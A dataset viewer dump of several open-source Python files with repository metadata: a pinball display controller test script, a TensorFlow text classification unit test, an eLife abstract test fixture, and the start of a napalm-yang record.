xszheng2020/the_stack_dedup_python_hits_7 · Datasets at Hugging Face

373c444dd22bc9650fc391af74a7b0298b5cbd65

28,429

py

Python

roles/controller/tests.py

andycavatorta/pinball

f718982ed76521090f5eee5fb5a25cd3e8ce5ce4

[ "MIT" ]

1

2021-04-01T17:33:48.000Z

roles/controller/tests.py

andycavatorta/pinball

f718982ed76521090f5eee5fb5a25cd3e8ce5ce4

[ "MIT" ]

null

roles/controller/tests.py

andycavatorta/pinball

f718982ed76521090f5eee5fb5a25cd3e8ce5ce4

[ "MIT" ]

null

import random import time class Displays(): def __init__(self, tb): self.tb = tb self.destinations = ("pinball1display","pinball2display","pinball3display","pinball4display","pinball5display") self.phrases = ("juega","dinero","trueque","como","fue","juega","dinero","trueque","como","fue") self.chime_pattern = ( ("f_piano","g_piano","gsharp_piano"), ("f_piano","g_piano","asharp_piano"), ("f_piano","gsharp_piano","asharp_piano"), ("f_piano","gsharp_piano","c_piano"), ("g_mezzo","gsharp_mezzo","asharp_mezzo"), ("g_mezzo","gsharp_mezzo","c_mezzo"), ("g_mezzo","asharp_piano","c_piano"), ("gsharp_mezzo","asharp_mezzo","c_mezzo"), ("gsharp_forte","asharp_forte","c_forte"), ("gsharp_forte","asharp_forte","c_forte"), ) def circular_countown(self): displayed_number = 999 for destination in self.destinations: self.tb.publish(topic="set_number",message=displayed_number,destination=destination) time.sleep(.5) while displayed_number > 0: cycle_of_ten = int(displayed_number/100) for destination in self.destinations: self.tb.publish(topic="set_number",message=displayed_number-1,destination=destination) self.tb.publish(topic="play_score",message="c_mezzo",destination=destination) time.sleep(.5) self.tb.publish(topic="set_number",message=displayed_number-11,destination=destination) self.tb.publish(topic="play_score",message="asharp_mezzo",destination=destination) time.sleep(.5) self.tb.publish(topic="set_number",message=displayed_number-111,destination=destination) self.tb.publish(topic="play_score",message="gsharp_mezzo",destination=destination) time.sleep(.5) self.tb.publish(topic="set_phrase",message=self.phrases[cycle_of_ten],destination=destination) self.tb.publish(topic="play_score",message="g_mezzo",destination=destination) time.sleep(.5) self.tb.publish(topic="set_phrase",message=self.phrases[cycle_of_ten],destination=destination) self.tb.publish(topic="play_score",message="f_mezzo",destination=destination) time.sleep(.5) time.sleep(.5) displayed_number -= 111 def circular_countown_just_displays(self): displayed_number = 999 for destination in self.destinations: self.tb.publish(topic="set_number",message=displayed_number,destination=destination) time.sleep(.5) while displayed_number > 0: cycle_of_ten = int(displayed_number/100) for destination in self.destinations: self.tb.publish(topic="set_number",message=displayed_number-1,destination=destination) time.sleep(.5) self.tb.publish(topic="set_number",message=displayed_number-11,destination=destination) time.sleep(.5) self.tb.publish(topic="set_number",message=displayed_number-111,destination=destination) time.sleep(.5) self.tb.publish(topic="set_phrase",message=self.phrases[cycle_of_ten],destination=destination) time.sleep(.5) self.tb.publish(topic="set_phrase",message=self.phrases[cycle_of_ten],destination=destination) time.sleep(.5) time.sleep(.5) displayed_number -= 111 def blinking_juega_and_number_show(self): interval = 0.2 while True: for destination in self.destinations: self.tb.publish(topic="set_phrase",message="",destination=destination) self.tb.publish(topic="set_number",message=random.randint(0,999),destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=random.randint(0,999),destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=random.randint(0,999),destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=random.randint(0,999),destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=random.randint(0,999),destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_phrase",message="juega",destination=destination) self.tb.publish(topic="set_number",message=random.randint(0,999),destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=random.randint(0,999),destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=random.randint(0,999),destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=random.randint(0,999),destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=random.randint(0,999),destination=destination) def wave(self): interval = 0.6 """ pitches = [ "c_mezzo", "asharp_mezzo", "gsharp_mezzo", "g_mezzo", "f_mezzo" ] """ pitches = [ "c_piano", "asharp_piano", "gsharp_piano", "g_piano", "f_piano" ] while True: for pitch_i in range(5): for destination in self.destinations: self.tb.publish(topic="set_phrase",message="",destination=destination) self.tb.publish(topic="set_number",message=999,destination=destination) for destination in self.destinations: rest = random.randint(0,1) if rest != 0: self.tb.publish(topic="play_score",message=pitches[random.randint(0,4)],destination=destination) if rest == 1: self.tb.publish(topic="play_score",message=pitches[random.randint(0,4)],destination=destination) #if pitch_i != 0: # self.tb.publish(topic="play_score",message=pitches[0],destination=destination) time.sleep(interval/5) #time.sleep(interval/2) for destination in self.destinations: self.tb.publish(topic="set_number",message=888,destination=destination) self.tb.publish(topic="set_phrase",message="juega",destination=destination) for destination in self.destinations: rest = random.randint(0,1) if rest != 0: self.tb.publish(topic="play_score",message=pitches[random.randint(0,4)],destination=destination) if rest == 1: self.tb.publish(topic="play_score",message=pitches[random.randint(0,4)],destination=destination) #if pitch_i != 0: # self.tb.publish(topic="play_score",message=pitches[0],destination=destination) time.sleep(interval/5) for destination in self.destinations: self.tb.publish(topic="set_number",message=777,destination=destination) self.tb.publish(topic="set_phrase",message="",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=666,destination=destination) self.tb.publish(topic="set_phrase",message="juega",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=555,destination=destination) self.tb.publish(topic="set_phrase",message="",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=444,destination=destination) self.tb.publish(topic="set_phrase",message="juega",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=333,destination=destination) self.tb.publish(topic="set_phrase",message="",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=222,destination=destination) self.tb.publish(topic="set_phrase",message="juega",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=111,destination=destination) self.tb.publish(topic="set_phrase",message="",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=000,destination=destination) self.tb.publish(topic="set_phrase",message="juega",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=111,destination=destination) self.tb.publish(topic="set_phrase",message="",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=222,destination=destination) self.tb.publish(topic="set_phrase",message="juega",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=333,destination=destination) self.tb.publish(topic="set_phrase",message="",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=444,destination=destination) self.tb.publish(topic="set_phrase",message="juega",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=555,destination=destination) self.tb.publish(topic="set_phrase",message="",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=666,destination=destination) self.tb.publish(topic="set_phrase",message="juega",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=777,destination=destination) self.tb.publish(topic="set_phrase",message="",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=888,destination=destination) self.tb.publish(topic="set_phrase",message="juega",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_phrase",message="",destination=destination) self.tb.publish(topic="set_number",message=999,destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=888,destination=destination) self.tb.publish(topic="set_phrase",message="juega",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=777,destination=destination) self.tb.publish(topic="set_phrase",message="",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=666,destination=destination) self.tb.publish(topic="set_phrase",message="juega",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=555,destination=destination) self.tb.publish(topic="set_phrase",message="",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=444,destination=destination) self.tb.publish(topic="set_phrase",message="juega",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=333,destination=destination) self.tb.publish(topic="set_phrase",message="",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=222,destination=destination) self.tb.publish(topic="set_phrase",message="juega",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=111,destination=destination) self.tb.publish(topic="set_phrase",message="",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=000,destination=destination) self.tb.publish(topic="set_phrase",message="juega",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=111,destination=destination) self.tb.publish(topic="set_phrase",message="",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=222,destination=destination) self.tb.publish(topic="set_phrase",message="juega",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=333,destination=destination) self.tb.publish(topic="set_phrase",message="",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=444,destination=destination) self.tb.publish(topic="set_phrase",message="juega",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=555,destination=destination) self.tb.publish(topic="set_phrase",message="",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=666,destination=destination) self.tb.publish(topic="set_phrase",message="juega",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=777,destination=destination) self.tb.publish(topic="set_phrase",message="",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=888,destination=destination) self.tb.publish(topic="set_phrase",message="juega",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_phrase",message="",destination=destination) self.tb.publish(topic="set_number",message=999,destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=888,destination=destination) self.tb.publish(topic="set_phrase",message="juega",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=777,destination=destination) self.tb.publish(topic="set_phrase",message="",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=666,destination=destination) self.tb.publish(topic="set_phrase",message="juega",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=555,destination=destination) self.tb.publish(topic="set_phrase",message="",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=444,destination=destination) self.tb.publish(topic="set_phrase",message="juega",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=333,destination=destination) self.tb.publish(topic="set_phrase",message="",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=222,destination=destination) self.tb.publish(topic="set_phrase",message="juega",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=111,destination=destination) self.tb.publish(topic="set_phrase",message="",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=000,destination=destination) self.tb.publish(topic="set_phrase",message="juega",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=111,destination=destination) self.tb.publish(topic="set_phrase",message="",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=222,destination=destination) self.tb.publish(topic="set_phrase",message="juega",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=333,destination=destination) self.tb.publish(topic="set_phrase",message="",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=444,destination=destination) self.tb.publish(topic="set_phrase",message="juega",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=555,destination=destination) self.tb.publish(topic="set_phrase",message="",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=666,destination=destination) self.tb.publish(topic="set_phrase",message="juega",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=777,destination=destination) self.tb.publish(topic="set_phrase",message="",destination=destination) time.sleep(interval) for destination in self.destinations: self.tb.publish(topic="set_number",message=888,destination=destination) self.tb.publish(topic="set_phrase",message="juega",destination=destination) time.sleep(interval) """ while True: for ai in range(10): for bi in range(10): for ci in range(10): number = (ai * 100) + (bi * 10) + ci for destination in destinations: role_module.main.tb.publish(topic="set_number",message=number,destination=destination) time.sleep(0.4) for destination in destinations: print(phrases[bi], destination) role_module.main.tb.publish(topic="set_phrase",message=phrases[bi],destination=destination) for destination in destinations: role_module.main.tb.publish(topic="set_phrase",message="fue",destination=destination) while True: role_module.main.tb.publish(topic="set_phrase",message="juega",destination="pinball3display") role_module.main.tb.publish(topic="set_number",message=000,destination="pinball3display") time.sleep(2) role_module.main.tb.publish(topic="set_number",message=111,destination="pinball3display") time.sleep(2) role_module.main.tb.publish(topic="set_phrase",message="dinero",destination="pinball3display") role_module.main.tb.publish(topic="set_number",message=222,destination="pinball3display") time.sleep(2) role_module.main.tb.publish(topic="set_number",message=333,destination="pinball3display") time.sleep(2) role_module.main.tb.publish(topic="set_phrase",message="trueque",destination="pinball3display") role_module.main.tb.publish(topic="set_number",message=444,destination="pinball3display") time.sleep(2) role_module.main.tb.publish(topic="set_number",message=555,destination="pinball3display") time.sleep(2) role_module.main.tb.publish(topic="set_phrase",message="como",destination="pinball3display") role_module.main.tb.publish(topic="set_number",message=666,destination="pinball3display") time.sleep(2) role_module.main.tb.publish(topic="set_number",message=777,destination="pinball3display") time.sleep(2) role_module.main.tb.publish(topic="set_phrase",message="fue",destination="pinball3display") role_module.main.tb.publish(topic="set_number",message=888,destination="pinball3display") time.sleep(2) role_module.main.tb.publish(topic="set_number",message=999,destination="pinball3display") while True: role_module.main.tb.publish(topic="set_phrase",message="juega",destination="pinball4display") role_module.main.tb.publish(topic="set_number",message=000,destination="pinball4display") time.sleep(2) role_module.main.tb.publish(topic="set_number",message=111,destination="pinball4display") time.sleep(2) role_module.main.tb.publish(topic="set_phrase",message="dinero",destination="pinball4display") role_module.main.tb.publish(topic="set_number",message=222,destination="pinball4display") time.sleep(2) role_module.main.tb.publish(topic="set_number",message=333,destination="pinball4display") time.sleep(2) role_module.main.tb.publish(topic="set_phrase",message="trueque",destination="pinball4display") role_module.main.tb.publish(topic="set_number",message=444,destination="pinball4display") time.sleep(2) role_module.main.tb.publish(topic="set_number",message=555,destination="pinball4display") time.sleep(2) role_module.main.tb.publish(topic="set_phrase",message="como",destination="pinball4display") role_module.main.tb.publish(topic="set_number",message=666,destination="pinball4display") time.sleep(2) role_module.main.tb.publish(topic="set_number",message=777,destination="pinball4display") time.sleep(2) role_module.main.tb.publish(topic="set_phrase",message="fue",destination="pinball4display") role_module.main.tb.publish(topic="set_number",message=888,destination="pinball4display") time.sleep(2) role_module.main.tb.publish(topic="set_number",message=999,destination="pinball4display") time.sleep(2) while True: role_module.main.tb.publish(topic="set_phrase",message="juega",destination="pinball5display") role_module.main.tb.publish(topic="set_number",message=000,destination="pinball5display") time.sleep(2) role_module.main.tb.publish(topic="set_number",message=111,destination="pinball5display") time.sleep(2) role_module.main.tb.publish(topic="set_phrase",message="dinero",destination="pinball5display") role_module.main.tb.publish(topic="set_number",message=222,destination="pinball5display") time.sleep(2) role_module.main.tb.publish(topic="set_number",message=333,destination="pinball5display") time.sleep(2) role_module.main.tb.publish(topic="set_phrase",message="trueque",destination="pinball5display") role_module.main.tb.publish(topic="set_number",message=444,destination="pinball5display") time.sleep(2) role_module.main.tb.publish(topic="set_number",message=555,destination="pinball5display") time.sleep(2) role_module.main.tb.publish(topic="set_phrase",message="como",destination="pinball5display") role_module.main.tb.publish(topic="set_number",message=666,destination="pinball5display") time.sleep(2) role_module.main.tb.publish(topic="set_number",message=777,destination="pinball5display") time.sleep(2) role_module.main.tb.publish(topic="set_phrase",message="fue",destination="pinball5display") role_module.main.tb.publish(topic="set_number",message=888,destination="pinball5display") time.sleep(2) role_module.main.tb.publish(topic="set_number",message=999,destination="pinball5display") time.sleep(2) """

60.875803

120

0.621373

3,002

28,429

5.77515

0.030313

0.099152

0.154237

0.176501

0.957374

0.948203

0.944685

0.941166

0.931995

0

0.021862

0.263076

28,429

467

121

60.875803

0.80568

0.007668

0

0.893175

0

0.091067

0

1

0.014837

false

0

0.005935

0

0.023739

0

null

0

1

0

1

0

null

0

8

377308c2681cb5a747079c40e5b3adc904b31d70

9,867

py

Python

delta/data/task/text_cls_task_test.py

hchang000/delta

89320bd538e360d939c50d9f303e81554f6ce7ac

[ "Apache-2.0" ]

1

2019-07-15T11:42:38.000Z

delta/data/task/text_cls_task_test.py

hchang000/delta

89320bd538e360d939c50d9f303e81554f6ce7ac

[ "Apache-2.0" ]

null

delta/data/task/text_cls_task_test.py

hchang000/delta

89320bd538e360d939c50d9f303e81554f6ce7ac

[ "Apache-2.0" ]

null

# Copyright (C) 2017 Beijing Didi Infinity Technology and Development Co.,Ltd. # All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== # pylint: disable=missing-docstring import os from pathlib import Path from absl import logging import numpy as np import tensorflow as tf #delta from delta import utils from delta.data.task.text_cls_task import TextClsTask class TextClsTaskTest(tf.test.TestCase): def setUp(self): main_root = os.environ['MAIN_ROOT'] main_root = Path(main_root) self.config_file = main_root.joinpath( 'egs/mock_text_cls_data/nlp1/config/han-cls.yml') def test_english(self): config = utils.load_config(self.config_file) max_len = config["model"]["net"]["structure"]["max_len"] class_num = config["data"]["task"]["classes"]["num_classes"] task = TextClsTask(config, utils.TRAIN) # test offline data data = task.dataset() self.assertTrue("input_x_dict" in data and "input_x" in data["input_x_dict"]) self.assertTrue("input_y_dict" in data and "input_y" in data["input_y_dict"]) with self.session() as sess: sess.run(data["iterator"].initializer) res = sess.run( [data["input_x_dict"]["input_x"], data["input_y_dict"]["input_y"]]) logging.debug(res[0][0]) logging.debug(res[1][0]) self.assertEqual(np.shape(res[0]), (32, max_len)) self.assertEqual(np.shape(res[1]), (32, class_num)) # test online data export_inputs = task.export_inputs() self.assertTrue("export_inputs" in export_inputs and "input_sentence" in export_inputs["export_inputs"]) input_sentence = export_inputs["export_inputs"]["input_sentence"] input_x = export_inputs["model_inputs"]["input_x"] with self.session() as sess: res = sess.run(input_x, feed_dict={input_sentence: ["All is well."]}) logging.debug(res[0]) self.assertEqual(np.shape(res[0]), (max_len,)) ## comment it for no dense data now # def test_english_dense(self): # config = utils.load_config(self.config_file) # max_len = config["model"]["net"]["structure"]["max_len"] # class_num = config["data"]["task"]["classes"]["num_classes"] # data_config = config["data"] # task_config = data_config["task"] # task_config["language"] = "chinese" # task_config["split_by_space"] = True # task_config["use_dense"] = True # task_config["dense_input_dim"] = 31 # data_config["train"][ # "dense_npy"] = "./delta/config/data/text_cls/english/dense_data/ds_train_scale.npy" # data_config["eval"][ # "dense_npy"] = "./delta/config/data/text_cls/english/dense_data/ds_eval_scale.npy" # data_config["infer"][ # "dense_npy"] = "./delta/config/data/text_cls/english/dense_data/ds_test_scale.npy" # # task = TextClsTask(config, utils.TRAIN) # # # test offline data # # task.do_pre_process() # data = task.dataset() # self.assertTrue("input_x_dict" in data and # "input_x" in data["input_x_dict"]) # self.assertTrue("input_x_dict" in data and # "input_dense" in data["input_x_dict"]) # self.assertTrue("input_y_dict" in data and # "input_y" in data["input_y_dict"]) # with self.session() as sess: # sess.run(data["iterator"].initializer) # res = sess.run([ # data["input_x_dict"]["input_x"], data["input_x_dict"]["input_dense"], # data["input_y_dict"]["input_y"] # ]) # logging.debug(res[0][0]) # logging.debug(res[1][0]) # logging.debug(res[2][0]) # self.assertEqual(np.shape(res[0]), (32, max_len)) # self.assertEqual(np.shape(res[1]), (32, task_config["dense_input_dim"])) # self.assertEqual(np.shape(res[2]), (32, class_num)) # # # test online data # export_inputs = task.export_inputs() # self.assertTrue("export_inputs" in export_inputs and # "input_sentence" in export_inputs["export_inputs"]) # input_sentence = export_inputs["export_inputs"]["input_sentence"] # input_x = export_inputs["model_inputs"]["input_x"] # with self.session() as sess: # res = sess.run(input_x, feed_dict={input_sentence: ["All is well."]}) # logging.debug(res[0]) # self.assertEqual(np.shape(res[0]), (max_len,)) def test_chinese_split_by_space(self): config = utils.load_config(self.config_file) max_len = config["model"]["net"]["structure"]["max_len"] class_num = config["data"]["task"]["classes"]["num_classes"] data_config = config["data"] task_config = data_config["task"] task_config["language"] = "chinese" task_config["split_by_space"] = True task = TextClsTask(config, utils.TRAIN) # test offline data data = task.dataset() self.assertTrue("input_x_dict" in data and "input_x" in data["input_x_dict"]) self.assertTrue("input_y_dict" in data and "input_y" in data["input_y_dict"]) with self.session() as sess: sess.run(data["iterator"].initializer) res = sess.run( [data["input_x_dict"]["input_x"], data["input_y_dict"]["input_y"]]) logging.debug(res[0][0]) logging.debug(res[1][0]) self.assertEqual(np.shape(res[0]), (32, max_len)) self.assertEqual(np.shape(res[1]), (32, class_num)) # test online data export_inputs = task.export_inputs() self.assertTrue("export_inputs" in export_inputs and "input_sentence" in export_inputs["export_inputs"]) input_sentence = export_inputs["export_inputs"]["input_sentence"] input_x = export_inputs["model_inputs"]["input_x"] with self.session() as sess: res = sess.run(input_x, feed_dict={input_sentence: ["都挺好"]}) logging.debug(res[0]) logging.debug(np.shape(res[0])) self.assertEqual(np.shape(res[0]), (max_len,)) def test_chinese_word(self): config = utils.load_config(self.config_file) max_len = config["model"]["net"]["structure"]["max_len"] class_num = config["data"]["task"]["classes"]["num_classes"] data_config = config["data"] task_config = data_config["task"] task_config["language"] = "chinese" task_config["split_by_space"] = False task_config["use_word"] = True task = TextClsTask(config, utils.TRAIN) # test offline data data = task.dataset() self.assertTrue("input_x_dict" in data and "input_x" in data["input_x_dict"]) self.assertTrue("input_y_dict" in data and "input_y" in data["input_y_dict"]) with self.session() as sess: sess.run(data["iterator"].initializer) res = sess.run( [data["input_x_dict"]["input_x"], data["input_y_dict"]["input_y"]]) logging.debug(res[0][0]) logging.debug(res[1][0]) self.assertEqual(np.shape(res[0]), (32, max_len)) self.assertEqual(np.shape(res[1]), (32, class_num)) # test online data export_inputs = task.export_inputs() self.assertTrue("export_inputs" in export_inputs and "input_sentence" in export_inputs["export_inputs"]) input_sentence = export_inputs["export_inputs"]["input_sentence"] input_x = export_inputs["model_inputs"]["input_x"] with self.session() as sess: res = sess.run(input_x, feed_dict={input_sentence: ["这是愤怒电影"]}) logging.debug(res[0]) logging.debug(np.shape(res[0])) self.assertEqual(np.shape(res[0]), (max_len,)) def test_chinese_char(self): config = utils.load_config(self.config_file) max_len = config["model"]["net"]["structure"]["max_len"] class_num = config["data"]["task"]["classes"]["num_classes"] data_config = config["data"] task_config = data_config["task"] task_config["language"] = "chinese" task_config["split_by_space"] = False task_config["use_word"] = False task = TextClsTask(config, utils.TRAIN) # test offline data data = task.dataset() self.assertTrue("input_x_dict" in data and "input_x" in data["input_x_dict"]) self.assertTrue("input_y_dict" in data and "input_y" in data["input_y_dict"]) with self.session() as sess: sess.run(data["iterator"].initializer) res = sess.run([ data["input_x_dict"]["input_x"], data["input_y_dict"]["input_y"], data["input_x_len"] ]) logging.debug(res[0][0]) logging.debug(res[1][0]) self.assertEqual(np.shape(res[0]), (32, max_len)) self.assertEqual(np.shape(res[1]), (32, class_num)) self.assertEqual(np.shape(res[2]), (32,)) # test online data export_inputs = task.export_inputs() self.assertTrue("export_inputs" in export_inputs and "input_sentence" in export_inputs["export_inputs"]) input_sentence = export_inputs["export_inputs"]["input_sentence"] input_x = export_inputs["model_inputs"]["input_x"] with self.session() as sess: res = sess.run(input_x, feed_dict={input_sentence: ["我很愤怒"]}) logging.debug(res[0][:5]) logging.debug(np.shape(res[0])) self.assertEqual(np.shape(res[0]), (max_len,)) if __name__ == "__main__": logging.set_verbosity(logging.DEBUG) tf.test.main()

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7

377a629b9fdfd39ae23fd394cfe7c00d92d9a6e3

6,647

py

Python

tests/fixtures/test_abstracts/content_02_expected.py

elifesciences/elife-tools

ee345bf0e6703ef0f7e718355e85730abbdfd117

[ "MIT" ]

9

2015-04-16T08:13:31.000Z

2020-05-18T14:03:06.000Z

tests/fixtures/test_abstracts/content_02_expected.py

elifesciences/elife-tools

ee345bf0e6703ef0f7e718355e85730abbdfd117

[ "MIT" ]

310

2015-02-11T00:30:09.000Z

2021-07-14T23:58:50.000Z

tests/fixtures/test_abstracts/content_02_expected.py

elifesciences/elife-tools

ee345bf0e6703ef0f7e718355e85730abbdfd117

[ "MIT" ]

9

2015-02-04T01:21:28.000Z

2021-06-15T12:50:47.000Z

expected = [ { "abstract_type": None, "content": "Bacterially-produced small molecules exert profound influences on animal health, morphogenesis, and evolution through poorly understood mechanisms. In one of the closest living relatives of animals, the choanoflagellate Salpingoeca rosetta, we find that rosette colony development is induced by the prey bacterium Algoriphagus machipongonensis and its close relatives in the Bacteroidetes phylum. Here we show that a rosette inducing factor (RIF-1) produced by A. machipongonensis belongs to the small class of sulfonolipids, obscure relatives of the better known sphingolipids that play important roles in signal transmission in plants, animals, and fungi. RIF-1 has extraordinary potency (femtomolar, or 10\u221215 M) and S. rosetta can respond to it over a broad dynamic range\u2014nine orders of magnitude. This study provides a prototypical example of bacterial sulfonolipids triggering eukaryotic morphogenesis and suggests molecular mechanisms through which bacteria may have contributed to the evolution of animals.", "full_content": "Bacterially-produced small molecules exert profound influences on animal health, morphogenesis, and evolution through poorly understood mechanisms. In one of the closest living relatives of animals, the choanoflagellate <italic>Salpingoeca rosetta</italic>, we find that rosette colony development is induced by the prey bacterium <italic>Algoriphagus machipongonensis</italic> and its close relatives in the Bacteroidetes phylum. Here we show that a rosette inducing factor (RIF-1) produced by <italic>A. machipongonensis</italic> belongs to the small class of sulfonolipids, obscure relatives of the better known sphingolipids that play important roles in signal transmission in plants, animals, and fungi. RIF-1 has extraordinary potency (femtomolar, or 10\u221215 M) and <italic>S. rosetta</italic> can respond to it over a broad dynamic range\u2014nine orders of magnitude. This study provides a prototypical example of bacterial sulfonolipids triggering eukaryotic morphogenesis and suggests molecular mechanisms through which bacteria may have contributed to the evolution of animals.", }, { "abstract_type": "executive-summary", "title": "eLife digest", "content": "All animals, including humans, evolved in a world filled with bacteria. Although bacteria are most familiar as pathogens, some bacteria produce small molecules that are essential for the biology of animals and other eukaryotes, although the details of the ways in which these bacterial molecules are beneficial are not well understood. The choanoflagellates are water-dwelling organisms that use their whip-like flagella to move around, feeding on bacteria. They can exist as one cell or a colony of multiple cells and, perhaps surprisingly, are the closest known living relatives of animals. This means that experiments on these organisms have the potential to improve our understanding of animal development and the transition from egg to embryo to adult. Alegado et al. have explored how the morphology of Salpingoeca rosetta, a colony-forming choanoflagellate, is influenced by its interactions with various species of bacteria. In particular, they find that the development of multicellularity in S. rosetta is triggered by the presence of the bacterium Algoriphagus machipongonensis as well as its close relatives. They also identify the signaling molecule produced by the bacteria to be C32H64NO7S; this lipid molecule is an obscure relative of the sphingolipid molecules that have important roles in signal transmission in animals, plants, and fungi. Moreover, Alegado et al. show that S. rosetta can respond to this molecule \u2013 which they call rosette-inducing factor (RIF-1) \u2013 over a wide range of concentrations, including concentrations as low as 10\u221217 M. The work of Alegado et al. suggests that interactions between S. rosetta and Algoriphagus bacteria could be a productive model system for studying the influences of bacteria on animal cell biology, and for investigating the mechanisms of signal delivery and reception. Moreover, the molecular mechanisms revealed by this work leave open the possibility that bacteria might have contributed to the evolution of multicellularity in animals.", "full_content": "All animals, including humans, evolved in a world filled with bacteria. Although bacteria are most familiar as pathogens, some bacteria produce small molecules that are essential for the biology of animals and other eukaryotes, although the details of the ways in which these bacterial molecules are beneficial are not well understood.The choanoflagellates are water-dwelling organisms that use their whip-like flagella to move around, feeding on bacteria. They can exist as one cell or a colony of multiple cells and, perhaps surprisingly, are the closest known living relatives of animals. This means that experiments on these organisms have the potential to improve our understanding of animal development and the transition from egg to embryo to adult.Alegado <italic>et al</italic>. have explored how the morphology of <italic>Salpingoeca rosetta,</italic> a colony-forming choanoflagellate, is influenced by its interactions with various species of bacteria. In particular, they find that the development of multicellularity in <italic>S. rosetta</italic> is triggered by the presence of the bacterium <italic>Algoriphagus machipongonensis</italic> as well as its close relatives. They also identify the signaling molecule produced by the bacteria to be C32H64NO7S; this lipid molecule is an obscure relative of the sphingolipid molecules that have important roles in signal transmission in animals, plants, and fungi. Moreover, Alegado <italic>et al</italic>. show that <italic>S. rosetta</italic> can respond to this molecule \u2013 which they call rosette-inducing factor (RIF-1) \u2013 over a wide range of concentrations, including concentrations as low as 10\u221217 M.The work of Alegado <italic>et al</italic>. suggests that interactions between <italic>S. rosetta</italic> and <italic>Algoriphagus</italic> bacteria could be a productive model system for studying the influences of bacteria on animal cell biology, and for investigating the mechanisms of signal delivery and reception. Moreover, the molecular mechanisms revealed by this work leave open the possibility that bacteria might have contributed to the evolution of multicellularity in animals.", }, ]

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11

377fbbf829c257d5077fdc2fcb18a4d8f347fb95

63,166

py

Python

napalm_yang/models/openconfig/__init__.py

lumina-networks-oss/napalm-yang

5f9ca183f1496f0701cb09d0008fb5fb1f0f3a09

